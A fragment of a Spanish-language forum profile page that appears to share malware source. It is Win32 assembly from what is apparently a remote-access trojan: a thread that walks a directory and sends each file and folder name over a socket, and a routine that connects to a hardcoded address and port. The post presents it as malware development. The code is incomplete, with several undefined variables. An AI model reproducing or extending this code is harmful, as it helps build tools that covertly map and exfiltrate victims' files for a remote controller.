Es el premio mayor en desarrollo de malware...
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
SFile WIN32_FIND_DATA <> (Estructura para busqueda de archivos)
NoE db "MSG|Archivo no encontrado0", 0
EFile db "File|%s0", 0
EFold db "Fold|%s0", 0
ThreadBus proc FtoF:DWORD
invoke FindFirstFile, FtoF, addr SFile
cmp eax, -1
je NoEncontrado
mov Hand, eax
Buccle:
invoke FindNextFile, Hand, addr SFile
cmp eax, 0
je Salida
cmp SFile.cFileName, PUNTO
je Buccle
cmp SFile.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY
jne Files
;Envio las carptas
invoke wsprintf, addr Bufi, addr EFold, addr SFile.cFileName
invoke send, Sock, addr Bufi, sizeof Bufi, 0
jmp Buccle
Files:
;Envio los archivos
invoke wsprintf, addr Bufi, addr EFile, addr SFile.cFileName
invoke send, Sock, addr Bufi, sizeof Bufi, 0
jmp Buccle
Salida:
invoke FindClose, addr Hand
jmp Fin
NoEncontrado:
invoke send, Sock, addr NoE, sizeof NoE, 0
Fin:
ret
ThreadBus endp
INET equ 0100007fh
HTOONS equ 0b8220200h
ThreadProc PROC
invoke WSAStartup, addr Ver, addr wsa
invoke socket, AF_INET, SOCK_STREAM, 0
mov sock, eax
invoke WSAAsyncSelect, sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
mov sa.sin_family, AF_INET
;invoke inet_addr, addr szIp
;mov sa.sin_addr, eax
;Pusheo el valor de Inet
mov sa.sin_addr, INET
push INET
;invoke htons, port
;mov sa.sin_port, ax
;Pusheo el valor de Htoons
mov ax, HTOONS
push HTOONS
invoke connect, sock, addr sa, sizeof sa
ret
ThreadProc ENDP